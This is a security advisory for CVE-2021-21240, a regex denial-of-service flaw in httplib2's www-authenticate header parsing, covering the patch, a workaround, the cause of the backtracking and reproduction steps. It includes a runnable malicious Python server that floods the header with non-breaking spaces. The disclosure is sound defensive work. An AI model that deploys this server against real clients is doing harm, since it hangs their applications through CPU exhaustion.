CVE-2021-21240 — httplib2

Impact

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182

Workarounds

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory:

• Open an issue in httplib2
• Email current maintainer at 2021-01